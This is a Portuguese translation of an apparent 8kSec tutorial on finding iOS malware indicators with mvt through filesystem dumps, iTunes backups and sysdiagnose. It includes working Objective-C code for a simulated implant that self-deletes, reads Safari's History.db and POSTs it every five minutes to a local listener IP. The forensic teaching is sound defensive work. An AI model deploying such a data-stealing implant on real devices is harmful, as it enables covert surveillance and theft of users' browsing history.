Segurança

Malware Móvel Parte 5: Análise de Dispositivo Infectado | 8kSec

O artigo detalha métodos para detectar malware em dispositivos iOS, incluindo análise de dump do sistema de arquivos, backup do iTunes e uso do sysdiagnose. Mostra como simular a visita a URLs maliciosas e criar um binário com funções semelhantes às usadas por malware conhecido, demonstrando que o método mais eficaz é através da análise de dump do sistema de arquivos ou backup do iTunes.

Compartilhar
Mobile Malware Part 5: Infected Device Analysis | 8kSec

No primeiro parte da detecção de malware do iOS como parte da nossa série sobre análise de malware móvel, cobrimos como coletar artefatos forenses, o que usar para fazer a análise e quais são alguns arquivos interessantes no iOS. Nesta parte, simularemos alguns IOCs (Indicadores de Compromisso) para ver como procurá-los.

A primeira parte se concentrará em abrir alguns links e pesquisar por eles usando diferentes métodos (dump do sistema de arquivos, backup e sysdiagnose), enquanto a segunda parte será focada na criação de um binário que foi usado anteriormente por malware.

Vamos usar o mvt com dump do sistema de arquivos bem como com o backup. Além disso, veremos como procurar as mesmas informações usando o dump sysdiagnose.

Visitar URLs maliciosas

Para simular, visitaremos alguns links que são indicadores do Pegasus e podem ser vistos dentro do arquivo stix2 de Pegasus que o mvt contém.

Os URLs que usaremos:

mvt

Antes de prosseguir com qualquer um desses dois métodos, precisamos primeiro baixar IOCs para o mvt. Podemos fazer isso usando o comando mvt-ios download-iocs.

Pode-se ver que baixamos IOCs para malware como Operação Triangulação, KingSpawn e Pegasus.

Dump do sistema de arquivos

O primeiro método que usaremos é o dump do sistema de arquivos. Podemos usar ssh para fazer o dump do sistema de arquivos seguido por mvt-ios check-fs para analisar o dump.

Após a conclusão do dump do sistema de arquivos, criamos um diretório e extraímos o dump do sistema de arquivos para esse diretório.

Tudo que precisamos fazer agora é executar mvt-ios check-fs contra este diretório junto com o diretório onde o mvt armazenará sua saída (-o flag).

mvt_check-fs-start

Assim que o mvt começou, podemos ver que ele carregou todos os IOCs baixados anteriormente. Um pouco mais abaixo na saída, vemos que ele correspondiu ao URL http://youintelligence.com contra o nome de domínio indicador youintelligence.com do Pegasus nos registros dentro do banco de dados Favicons.db.

mvt_check-fs-first_url_log

A seguir, o mvt extraiu os registros do arquivo History.db, que é o histórico do Safari.

mvt_check-fs-history_urls

Pode-se ver que o mvt realmente encontrou todos esses URLs maliciosos conhecidos como IOC para malware Pegasus. Uma vez que o mvt termina, podemos ir ao diretório passado com a flag output e examinar seu conteúdo. Um dos arquivos mais úteis lá é timeline_detected.csv, que contém a linha do tempo cronológica de todos os IOCs correspondidos.

mvt_check-fs_output

Backup do iTunes

No caso em que o dispositivo não está jailbroken, podemos usar backups para analisá-los. Podemos usar Finder para fazer backup do dispositivo ou podemos usar idevicebackup2 do libimobiledevice para fazer o backup.

Uma coisa que devemos manter em mente é que os backups criptografados fornecem mais cobertura, então devemos nos esforçar por isso.

Para criar o backup criptografado usamos idevicebackup2 encryption on PASSWORD para ligar a criptografia.

idevicebackup2 encryption on

Uma vez que a criptografia é ativada, podemos começar o backup com idevicebackup2 backup --full PATH_TO_OUTPUT_DIRECTORY. O diretório de saída precisa ser criado antes de iniciar o backup real.

idevicebackup2_backup_started

idevicebackup2_backup_finished

mvt_decrypt-backup

Agora que temos o backup descriptografado, podemos analisá-lo usando mvt-ios check-backup.

mvt_check-backup_running

mvt_check-backup_iocs

Depois das informações normais do mvt, podemos ver que encontrou os mesmos IOCs como no caso com o dump de sistema de arquivos. Também temos a mesma criação de arquivo timeline_detected.csv dentro da pasta de resultados.

mvt_timeline_detected_links

Há mais arquivos nessa pasta, como no caso do dump de sistema de arquivos e se estivermos analisando atividades potencialmente maliciosas, vale a pena verificar todos eles.

sysdiagnose

A terceira maneira que podemos usar é através de sysdiagnose. Sysdiagnose é uma forma nativa de coletar logs do dispositivo.

Pode-se disparar os logs sysdiagnose para serem coletados usando a combinação de teclas (pressionando juntas Volume Up + Volume Down + botão Power). Leva alguns minutos para que os logs sysdiagnose sejam gerados.

Assim que o sysdiagnose terminar, podemos usar ipsw idev crash pull para puxar os logs sysdiagnose. Precisamos obter o nome do log sysdiagnose primeiro, podemos fazer isso usando o comando ipsw idev crash ls.

ipsw idev crash ls output

Depois de obter o nome, apenas passamos para ipsw idev crash pull.

ipsw_crash_pull

Assim que os logs são baixados, podemos extrair o arquivo e começar a analisá-lo.

sysdiagnose_extracting_archive

Vamos pesquisar em todos os arquivos presentes nos logs sysdiagnose, mas não encontraremos nenhuma das IOCs de URL. A razão para isso é que o sysdiagnose não contém dados do usuário e a história do navegador e URLs visitadas pertencem aos dados do usuário, não ao sistema.

sysdiagnose_searching_urls

Como podemos ver, nenhum único match foi encontrado para esses indicadores de URL. O sysdiagnose é uma ferramenta ótima, mas seu principal inconveniente é que não contém dados do usuário.

Isto marca o fim da análise das URLs maliciosas, vamos mover para a simulação de um binário malicioso e ver como caçar por isso e mostrar que o sysdiagnose pode ser útil nisso.

Executando binário malicioso

No parágrafo anterior, vimos como procurar IOCs de URL e que tanto o dump do sistema de arquivos quanto o backup do iTunes contêm eles. O sysdiagnose não tinha porque ele não contém dados do usuário.

Agora criaremos um binário com o mesmo nome usado em uma das amostras conhecidas de malware.

O binário será simples e terá as seguintes funcionalidades:

  • chamaremos ele subridged e colocaremos na pasta /private/var/db/com.apple.xpc.roleaccountd.staging/, como foi usado no KingSpawn
  • será executado como usuário root; caso contrário, apaga-se automaticamente
  • edita /etc/hosts para que resolva nosso endereço MAC em vez de usar DNS
  • dump periodicamente o arquivo History.db e envia-o para 8ksecmail.io(que aponta para nosso próprio IP do Mac)
#include <stdio.h>
#import <Foundation/Foundation.h>
#include "base64.h"

#define TARGET  "/private/var/mobile/Library/Safari/History.db"

int clean(char *);
int main(int argc, char **argv)
{
    // check if we are root and exit if we are not
    if (getuid() != 0) {
        return clean(argv[0]);
    }
    FILE * f;
    for (;;) {
        f = fopen(TARGET, "rb");
        if (f == NULL) {
            return clean(argv[0]);
        }
        size_t sz;
        fseek(f, 0, SEEK_END);
        sz = ftell(f);
        fseek(f, 0, SEEK_SET);
        char * content = (char*)malloc(sz+1);
        fread(content, sz, 1, f);
        fclose(f);
        char * dest = (char*)malloc(sz*2);
        Base64encode(dest, content, sz);
        NSMutableURLRequest *urlRequest = [[NSMutableURLRequest alloc] initWithURL:[NSURL URLWithString:@"http://192.168.100.62/history"]];
        NSString *postData = [NSString stringWithFormat:@"history=%s", dest];
        [urlRequest setHTTPMethod:@"POST"];
        NSData *data1 = [postData dataUsingEncoding:NSUTF8StringEncoding];
        [urlRequest setHTTPBody:data1];
        NSURLSession *session = [NSURLSession sharedSession];
        NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:urlRequest completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
        }];
        [dataTask resume];
        free(content);
        free(dest);
        sleep(300);
    }
    return 0;
}

int clean(char *p)
{
    remove(p);
    return 1;
}

Para simular o servidor web, usaremos a seguinte resposta HTTP e usaremos netcat para servi-la:

HTTP/1.1 200 OK
Server: 8ksec
Content-Type: text/html; charset=UTF-8


        8ksecmal.io


        Bem-vindo ao 8ksecmal.io

Depois que o binário tiver entrado em contato conosco com sucesso, veremos a representação base64 do arquivo History.db sendo enviado para nós.

ncat_webserver

Análise com mvt

Backup do sistema de arquivos e backup via iTunes

Já que já cobrimos como fazer o backup do sistema de arquivos e backup via iTunes, vamos pular diretamente para a análise.

Comando: mvt-ios check-fs ./dump/ -o /tmp/mvt-fs

Uma vez que o sistema de arquivos tenha sido carregado, podemos ver que o binário malicioso que criamos e colocamos no local foi identificado como um IOC do KingSpawn, o que é excelente.

mvt_binary_timeline_detected

Abrindo a visualização do arquivo Cache.db para o subridged, podemos ver o endereço IP para onde a solicitação HTTP foi feita, bem como a resposta que recebeu.

subridged Cache.db contents

Agora podemos prosseguir para obter o binário e fazer uma análise mais aprofundada nele.

Vamos agora fazer o mesmo contra o arquivo de backup.

Comando: mvt-ios check-backup /tmp/mvt-decrypted-backup -o /tmp/mvt-for-backup

mvt-check-backup_for_binary

O que podemos ver é que o backup não encontrou correspondência para nosso binário

sysdiagnose_taskinfo.txt

Conclusão

Isso marca o fim da nossa segunda postagem de blog sobre a detecção de malware iOS como parte da nossa série sobre Malware Móvel. Vimos como podemos utilizar mvt (tanto um dump do sistema de arquivos em dispositivos jailbreakados quanto uma cópia de backup do iTunes em dispositivos não jailbreakados) bem como o sysdiagnose que pode ser usado em ambos. Como você pode ver, cada um desses três tem suas vantagens e desvantagens e a escolha depende das possibilidades, por exemplo, às vezes você não pode fazer jailbreak no dispositivo e precisa recorrer à cópia de backup do iTunes e ao sysdiagnose que, em algumas ocasiões, podem deixar passar alguns artefatos úteis.

Fonte original

Conteúdo traduzido e adaptado pela redação do Notícias Mobile. Confira também a matéria na fonte original.

Leia a matéria completa